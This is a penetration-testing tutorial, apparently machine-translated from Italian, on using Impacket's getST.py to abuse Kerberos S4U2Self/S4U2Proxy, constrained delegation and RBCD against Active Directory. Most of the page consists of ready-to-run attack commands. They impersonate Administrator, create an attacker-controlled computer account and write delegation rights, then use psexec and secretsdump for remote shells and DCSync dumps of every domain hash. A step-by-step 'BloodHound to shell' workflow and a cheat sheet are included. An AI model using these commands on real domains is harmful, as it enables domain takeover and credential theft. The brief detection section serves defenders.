getST.py Impacket: S4U, RBCD and Constrained Delegation

Impacket's getST.py guide for obtaining Kerberos Service Tickets with S4U2Self, S4U2Proxy, RBCD, and constrained delegation. Payload and errors for AD pentests.
- Posted on 2026-07-24
- Reading time: 8 min
getST.py: Service Ticket, S4U, and Kerberos Delegation Abuse #
getST.py is part of Packet and requests a Kerberos Service Ticket, saving it as a file .ccacheIn the basic case, you only need it to obtain a ticket to a service with your credentials. However, when you control an account configured for Constrained Delegation or authorized via RBCD, getST.py can request a Service Ticket on behalf of another user towards a specific service, leveraging S4U2Self and S4U2Proxy — without knowing the impersonated user's password, but only if those delegation prerequisites actually exist.
Official reference: fortra/impacket — getST.py
TGT, TGS and Service Ticket — who's who #
getST.py always produces a Service Ticket (also called TGS), the last step of the flow Kerberos. If you are not clear about what distinguishes a TGT from a Service Ticket, the summary is: the TGT is the ticket you get upon login and use to request other tickets from the KDC; the Service Ticket is the one specific to a single service (CIFS, LDAP, HOST...), and is the one you need to actually authenticate to a resource.
S4U2Self and S4U2Proxy #
To understand getST.py you need to understand the two Kerberos extension mechanisms it uses (documented in MS-SFU ):
S4U2Self (Service for User to Self): allows a service principal to ask the KDC for a Service Ticket towards your service, on behalf of another user (MS-SFU §3.2.5.1). In classical constrained delegation, the flag TrustedToAuthForDelegation enables the so-called protocol transition, which allows you to obtain a forwardable ticket via S4U2Self for any user — even one who has never authenticated to the service.
S4U2Proxy (Service for User to Proxy): allows the account to present that ticket (obtained via S4U2Self, or provided as an evidence ticket) to the KDC and exchange it for an ST to a different service, among those configured in msDS-AllowedToDelegateTo (Constrained Delegation) or msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD). In the RBCD stream, Microsoft confirms that the KDC handles the protocol transition as if the related flag was already enabled on the target resource, even without TrustedToAuthForDelegation on the delegating account.
[getST con -impersonate]
│
├─ S4U2Self → ST "Administrator → svc_web" (forwardable)
│
└─ S4U2Proxy → ST "Administrator → CIFS/DC01" (usabile)Delegation Scenario Matrix #
| Screenwriting | Configuration required | Departure ticket | getST.py Options |
|---|---|---|---|
| Normal ST | No delegation | Account TGT | -spn |
| KCD with protocol transition | TrustedToAuthForDelegation + msDS-AllowedToDelegateTo | Service Account TGT | -impersonate -spn |
| KCD Kerberos-only | msDS-AllowedToDelegateTo, without protocol transition | User forwardable ST to front-end service | -additional-ticket -impersonate -spn |
| RBCD | msDS-AllowedToActOnBehalfOfOtherIdentity on target | TGT of the controlled account | -impersonate -spn |
| Only S4U2Self | Account with SPN and usable credentials | Service Account TGT | -self -impersonate |
| S4U2Self + U2U | Specific scenario | TGT | -self -u2u -impersonate |
| dMSA | Windows Server 2025+ | TGT | -dmsa -self -impersonate |
Syntax and options #
impacket-getST [opzioni] dominio/account[:password|$]| Option | Description |
|---|---|
-spn SPN | Target Service SPN — Required except when using -self |
-impersonate UTENTE | User to impersonate via S4U |
-altservice SPN | Replaces the SPN in the ticket already obtained |
-self | Only S4U2Self, without S4U2Proxy |
-additional-ticket ticket.ccache | Use a forwardable ST as evidence ticket instead of generating it via S4U2Self — required for RBCD + KCD Kerberos-only |
-dmsa | Requires keys for a Delegated Managed Service Account (Windows Server 2025+) |
-u2u | User-to-User Request — only works in combination with -self o -impersonate, not alone |
-renew | Renew the TGT used for authentication (requires -spn krbtgt/DOMINIO.FQDN) |
-force-forwardable | Force S4U2Self ticket to be forwardable — advanced option, see below |
-hashes LM:NT | Pass the Hash |
-aesKey KEY | Account AES key (128 or 256 bits) |
-k | Use the TGT from the current cache (KRB5CCNAME) |
-no-pass | With -k, does not ask for password |
-dc-ip IP | Domain Controller IP |
-debug | Verbose output |
Scenario 0 — Standard Service Ticket Request #
It is the primary function of the tool, without any impersonation: password, hash, AES or TGT key in the cache → TGS request → saving in .ccache.
# Con password
impacket-getST -dc-ip 10.10.10.5 -spn cifs/DC01.corp.local corp.local/user:Password123
# Con NT hash
impacket-getST -dc-ip 10.10.10.5 -spn cifs/DC01.corp.local -hashes :NThash corp.local/user
# Da un TGT già presente nel ccache
export KRB5CCNAME=user.ccache
impacket-getST -k -no-pass -dc-ip 10.10.10.5 -spn cifs/DC01.corp.local corp.local/userScenario 1 — Constrained Delegation with protocol transition #
Prerequisite: you have the credentials of an account with TrustedToAuthForDelegation enabled and msDS-AllowedToDelegateTo configured. You can find it with blood hound (edge “Allowed to Delegate”) or with PowerView/ldapsearch.
# Enumerazione: trova account con constrained delegation
Get-DomainUser -TrustedToAuth | Select SamAccountName, msDS-AllowedToDelegateTo
Get-DomainComputer -TrustedToAuth | Select DnsHostName, msDS-AllowedToDelegateTo
# getST — S4U2Self + S4U2Proxy, impersona Administrator su CIFS/DC01
impacket-getST -dc-ip 10.10.10.5 \
-spn cifs/DC01.corp.local \
-impersonate Administrator \
corp.local/svc_web:Password123
# Con NT hash invece di password
impacket-getST -dc-ip 10.10.10.5 \
-spn cifs/DC01.corp.local \
-impersonate Administrator \
-hashes :NThash \
corp.local/svc_web
# Con chiave AES256 — utile quando l'account supporta AES e non hai la password in chiaro
impacket-getST -dc-ip 10.10.10.5 \
-spn cifs/DC01.corp.local \
-impersonate Administrator \
-aesKey AES256keyQUI \
corp.local/svc_web
# Usa il ticket ottenuto
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k -no-pass corp.local/Administrator@DC01.corp.local
impacket-psexec -k -no-pass corp.local/Administrator@DC01.corp.localScenario 2 — Kerberos-only KCD with -additional-ticket
#
When the service account has constrained delegation configured but without protocol transition (Use Kerberos only mode in AD), you cannot directly generate a forwardable S4U2Self for an arbitrary user. Instead, you must have a forwardable Service Ticket actually obtained by the user to the front-end service and provide it as evidence ticket:
impacket-getST -dc-ip 10.10.10.5 \
-additional-ticket Administrator@http-WEB01.corp.local.ccache \
-spn cifs/FILE01.corp.local \
-impersonate Administrator \
corp.local/svc_web:Password123The ticket passed with -additional-ticket It must be consistent with the front-end service and actually usable as an evidence ticket — not just any ticket.
Scenario 3 — RBCD (Resource-Based Constrained Delegation) #
Prerequisite: you wrote msDS-AllowedToActOnBehalfOfOtherIdentity on a computer object, typically after exploiting GenericWrite or GenericAll on a computer account. The full RBCD attack is in RBCD.
# Step 1 — Crea un computer account controllato (se non ne hai già uno)
impacket-addcomputer -computer-name 'ATTACKER$' -computer-pass 'AttPass123!' \
-dc-ip 10.10.10.5 corp.local/lowpriv:pass
# Step 2 — Configura RBCD con rbcd.py: ATTACKER$ diventa trusted per delegare su TARGET$
impacket-rbcd -delegate-from 'ATTACKER$' -delegate-to 'TARGET$' \
-action write -dc-ip 10.10.10.5 corp.local/lowpriv:Password123
# Verifica la configurazione
impacket-rbcd -delegate-to 'TARGET$' -action read -dc-ip 10.10.10.5 corp.local/lowpriv:Password123
# Step 3 — getST con S4U2Self + S4U2Proxy via RBCD
impacket-getST -dc-ip 10.10.10.5 \
-spn cifs/TARGET.corp.local \
-impersonate Administrator \
corp.local/'ATTACKER$':AttPass123!
# Step 4 — Usa il ticket
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k -no-pass corp.local/Administrator@TARGET.corp.local
impacket-psexec -k -no-pass corp.local/Administrator@TARGET.corp.localrbcd.py manages directly msDS-AllowedToActOnBehalfOfOtherIdentity with four actions: read, write, remove, flush. Alternatively you can configure the same attribute with bloodyAD or PowerView.
Using a TGT obtained via Shadow Credentials #
Prerequisite: you wrote msDS-KeyCredentialLink on an account (Shadow Credentials) and obtained the certificate .pfx.
getST.py does not support a flag -pfx-file — does not exist in the tool. The certificate must first be converted into a TGT using PKINIT (with Certipy), and only then pass the resulting cache to getST:
# Ottieni il TGT tramite PKINIT usando il certificato da Shadow Credentials
certipy auth -pfx target.pfx -dc-ip 10.10.10.5
# Usa il TGT generato
export KRB5CCNAME=target.ccache
# Richiedi uno ST come l'account del certificato
impacket-getST -k -no-pass -dc-ip 10.10.10.5 -spn cifs/DC01.corp.local corp.local/targetShadow Credentials It doesn't automatically give you the Administrator impersonation — Get the identity of the account associated with the certificate. You can then use -impersonate Administrator only if that account also has an exploitable delegation configuration (go back to Scenario 1 or 3).
Scenario 4 — -self (S4U2Self standalone)
#
Only S4U2Self without S4U2Proxy: Get a service ST to itself, impersonating a user. Useful for partial delegation cases or when you only need the first step.
impacket-getST -dc-ip 10.10.10.5 \
-self \
-impersonate Administrator \
-altservice cifs/target.corp.local \
-k -no-pass \
corp.local/machine$-u2u — S4U2Self + User-to-User
#
-u2u It does not allow you to request a normal User-to-User ticket by itself: in the current getST.py code it only works in combination with S4U (-self o -impersonate).
impacket-getST -dc-ip 10.10.10.5 \
-self \
-u2u \
-impersonate Administrator \
corp.local/service_account:Password123-altservice — Service Substitution
#
-altservice do not ask the KDC for a new ticket for an arbitrary service: change thesname (the service name) already present in the ticket obtained. This only works when the replacement service can decrypt the same ticket—in practice, when the two SPNs belong to the same account/computer.
# Delegation consentita solo verso HOST/DC01, ma il client finale (psexec) usa SMB
impacket-getST -dc-ip 10.10.10.5 \
-spn host/DC01.corp.local \
-altservice cifs/DC01.corp.local \
-impersonate Administrator \
corp.local/svc_web:Password123
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@DC01.corp.localpsexec.py initially communicates via SMB, so it is cifs/HOST the relevant ticket for it—not the other way around. Service substitution doesn't allow you to freely move a ticket to a different host or account: the target service must be able to decrypt that ticket with its own key.
dMSA — Delegated Managed Service Accounts #
Recent versions of getST.py support -dmsa to request the current and previous keys of a Delegated Managed Service Account, functionality introduced with Windows Server 2025 — requires a compatible environment, it is not another name for classic constrained delegation.
impacket-getST -k -no-pass \
-self \
-dmsa \
-impersonate 'dmsa$' \
corp.local/userThe tool prints the current and previous dMSA keys, which can be used to impersonate the account the dMSA replaces.
-renew — Renewal of the TGT
#
Secondary function: Set Kerberos option RENEW to renew the TGT used for authentication. It must be used with -spn set to krbtgt/DOMINIO.FQDN:
export KRB5CCNAME=user.ccache
impacket-getST -k -no-pass -renew -spn krbtgt/CORP.LOCAL corp.local/userWhich SPN to choose #
The requested ticket must match the protocol you'll use later—it's not just "a ticket for the computer": an SPN identifies a specific service instance and associates it with the account that owns the key used to encrypt it, so the service class must match what the client expects.
| SPN | Service | Common use |
|---|---|---|
cifs/HOST | SMB | psexec, secretsdump, share access |
ldap/DC | LDAP | LDAP Queries and Changes, DCSync |
HTTP/HOST | HTTP/WinRM | Web applications, some WinRM workflows |
MSSQLSvc/HOST:PORTA | SQL Server | mssqlclient.py |
HOST/HOST | Generic Hosting Services | Some RPC protocols and Windows services |
RPCSS/HOST | DCOM Endpoint Mapper | DCOM Workflow |
WSMAN/HOST | WS-Management | WinRM, depending on the client |
Complete workflow — from BloodHound to shell #
# 1. BloodHound identifica: svc_sql è TrustedToAuth per cifs/DC01.corp.local
# 2. Dumpa l'hash di svc_sql (es. con Mimikatz o secretsdump su un host compromesso)
# 3. getST — impersona Administrator su CIFS/DC01
impacket-getST -dc-ip 10.10.10.5 \
-spn cifs/DC01.corp.local \
-impersonate Administrator \
-hashes :NThashSvcSql \
corp.local/svc_sql
# 4. Verifica ticket
export KRB5CCNAME=Administrator.ccache
klist
# 5. Accedi come Administrator
impacket-psexec -k -no-pass corp.local/Administrator@DC01.corp.local
# 6. DCSync — dump tutti gli hash (vedi [DCSync](https://hackita.it/articoli/dcsync/))
impacket-secretsdump -k -no-pass -just-dc-ntlm corp.local/Administrator@DC01.corp.localCommon mistakes #
| Error | Probable cause | Verifica |
|---|---|---|
KDC_ERR_BADOPTION | Delegation not allowed, evidence ticket invalid/not forwardable | Check it out msDS-AllowedToDelegateTo, KCD type and AD attributes |
KRB_AP_ERR_MODIFIED | Ticket encrypted with a key other than the service key, incorrect or duplicate SPN | Check it out setspn -Q, SPN owner account and requested service class |
KDC_ERR_S_PRINCIPAL_UNKNOWN | The account does not have constrained delegation permissions, or the impersonated user does not exist. | Check SPN with setspn -Q or BloodHound |
KDC_ERR_ETYPE_NOSUPP | Encryption not supported | Try with -aesKey instead of RC4 hash, verify msDS-SupportedEncryptionTypes |
KRB_AP_ERR_SKEW | Excessive time difference with DC | Synchronize your clock |
KDC_ERR_POLICY | Kerberos policy, user in Protected Users, or delegation not allowed | Check protected groups and account flags |
KDC_ERR_C_PRINCIPAL_UNKNOWN | Non-existent user or incorrect realm | Verify username and domain |
KRB_AP_ERR_NOT_US | Ticket presented to the wrong service | Check SPN and end client |
| FQDN error | IP instead of name | Kerberos requires FQDN, not IP |
-force-forwardable This is not a generic fix for “non-forwardable tickets”: it's an advanced option that uses the specified account key (ideally a hash or AES key) to force the forwardable flag on the S4U2Self ticket, which is related to the CVE-2020-17049 technique. It allows you to impersonate Protected Users and bypass some Kerberos-only restrictions, but the outcome depends on patching and KDC configuration—it's not meant to be a universal workaround.
Detection and mitigation #
What people who monitor you are looking at, in short:
- Abnormal TGS requests in Kerberos events (4769) — S4U2Self and S4U2Proxy generate recognizable patterns, especially when the impersonated user is a privileged account that does not normally authenticate from that host
- Control of
msDS-AllowedToDelegateTo— periodic audit of which accounts have delegate permissions configured, often forgotten after a project - Control of
msDS-AllowedToActOnBehalfOfOtherIdentity— same goes for RBCD, especially on recently created computer objects - Accounts marked as sensitive (
Account is sensitive and cannot be delegated, Protected Users group) — block delegation to privileged users regardless of the delegating account configuration - Removing unnecessary SPNs and delegations — the simplest and most effective mitigation remains not to leave delegation configurations on accounts that do not need them
Cheat sheet #
# Richiesta standard
impacket-getST -dc-ip DC_IP -spn cifs/TARGET.domain domain/user:pass
# Constrained Delegation (protocol transition)
impacket-getST -dc-ip DC_IP -spn cifs/TARGET.domain -impersonate Administrator \
domain/svc_account:pass
# KCD Kerberos-only con evidence ticket
impacket-getST -dc-ip DC_IP -additional-ticket evidence.ccache -spn cifs/TARGET.domain \
-impersonate Administrator domain/svc_account:pass
# RBCD
impacket-getST -dc-ip DC_IP -spn cifs/TARGET.domain -impersonate Administrator \
domain/'ATTACKER$':AttPass123!
# Con NT hash
impacket-getST -dc-ip DC_IP -spn cifs/TARGET.domain -impersonate Administrator \
-hashes :NThash domain/svc_account
# Con AES key
impacket-getST -dc-ip DC_IP -spn cifs/TARGET.domain -impersonate Administrator \
-aesKey AES256key domain/svc_account
# Service substitution
impacket-getST -dc-ip DC_IP -spn host/TARGET.domain -altservice cifs/TARGET.domain \
-impersonate Administrator domain/svc_account:pass
# S4U2Self standalone
impacket-getST -dc-ip DC_IP -self -impersonate Administrator \
-altservice cifs/TARGET.domain -k -no-pass domain/machine$
# dMSA
impacket-getST -k -no-pass -self -dmsa -impersonate 'dmsa$' domain/user
# Rinnovo TGT
impacket-getST -k -no-pass -renew -spn krbtgt/DOMAIN.FQDN domain/user
# Configurare RBCD
impacket-rbcd -delegate-from 'ATTACKER$' -delegate-to 'TARGET$' -action write -dc-ip DC_IP domain/user:pass
# Usa ticket ottenuto
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain/Administrator@TARGET.domain
impacket-secretsdump -k -no-pass domain/Administrator@DC.domainFAQ #
Does getST.py always require constrained delegation?
No. The basic function (Scenario 0) requires only valid credentials and an SPN — no delegation is necessary. Delegation is only needed for impersonation scenarios with -impersonate.
Difference between -self e -impersonate?
-impersonate alone does S4U2Self + S4U2Proxy (you get a ticket usable towards the final service). -self limits the operation to S4U2Self only, stopping at the ticket to the impersonating service itself, without proxying to the real target.
When I use -additional-ticket?
Only when the service account has constrained delegation configured in "Kerberos only" mode (without protocol transition). In that case, you cannot generate a forwardable S4U2Self from scratch: you must provide a forwardable ST already obtained by the user to the front-end service.
Why is the ticket not forwardable?
Usually because the starting TGT didn't have the forwardable flag, or the account doesn't have protocol transition enabled. -force-forwardable It can bypass some of these cases but requires the account's cryptographic material and does not always work (see CVE-2020-17049).
How do I verify the ticket I received?
export KRB5CCNAME=file.ccache followed by klist — check principal, service and flags (in particular forwardable).
Related Articles #
- Impacket: complete suite
- Kerberos: Architecture and Flow
- TGT Kerberos
- RBCD — Resource-Based Constrained Delegation
- Shadow Credentials
- blood hound
- Certipy
- DCSync
For use in authorized environments only.








